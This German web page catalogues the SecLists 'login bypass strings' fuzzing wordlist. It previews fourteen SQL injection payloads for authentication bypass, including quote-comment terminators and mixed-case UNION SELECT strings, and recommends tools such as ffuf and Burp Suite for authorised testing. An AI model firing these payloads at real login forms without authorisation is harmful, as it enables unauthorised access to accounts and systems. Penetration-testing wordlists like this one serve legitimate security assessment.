Skip to content
Fuzzing14.1 KB

Login bypass strings

Payloads zur Authentifizierungsumgehung, die SQL-Injection, Standard-Anmeldedaten und Logik-Tricks kombinieren, um Login-Formulare zu fuzzen.

Quelle ansehen
Größe
14.1 KB
Kategorie
Fuzzing
Quelle
danielmiessler/SecLists
Lizenz
MIT
Empfohlene Tools
ffufburpsuitewfuzz

Vorschau

Die ersten 14 Einträge. Lade die vollständige Liste (14.1 KB) herunter oder kopiere sie über die Schaltflächen oben.

>head login-bypass-strings-seclists.txt14.1 KB
"
" "
" #
" --
" AND 1=0 UNION ALL SELECT "", "7110eda4d09e062aa5e4a390b0a572ac0d2c0220
" AND 1=0 UNION ALL SELECT "", "81dc9bdb52d04dc20036dbd8313ed055
" UnION SELeCT 1,2,3,4,5`
" UnION SELeCT 1,2,3,4`
" UnION SELeCT 1,2,3`
" UnION SELeCT 1,2`
" UniON SElecT 1,2#
" UniON SElecT 1,2,3#
" UniON SElecT 1,2,3,4#
" UniON SElecT 1,2,3,4,5#

Payloads zur Authentifizierungsumgehung, die SQL-Injection, Standard-Anmeldedaten und Logik-Tricks kombinieren, um Login-Formulare zu fuzzen.

Diese Liste ist auf das Eingabe-Fuzzing und die Schwachstellenerkennung ausgerichtet. Sie umfasst etwa 14.1 KB und passt gut zu Werkzeugen wie ffuf, burpsuite, wfuzz. Wähle die kleinste Liste, die zu deinem Einsatz passt: kürzere Listen sind schneller und unauffälliger bei Online- Angriffen, während größere Listen eine breitere Abdeckung für Offline-Arbeiten bieten, bei denen Geschwindigkeit weniger ins Gewicht fällt.

Du kannst die Beispielvorschau direkt von dieser Seite kopieren, die gesamte Liste in die Zwischenablage kopieren oder die rohe .txt-Datei herunterladen. Die vollständige Liste wird direkt aus ihrer Upstream-Quelle auf GitHub bereitgestellt.

Bezogen von danielmiessler/SecLists und vertrieben unter MIT. Verwende Wortlisten nur gegen Systeme, zu deren Test du ausdrücklich autorisiert bist.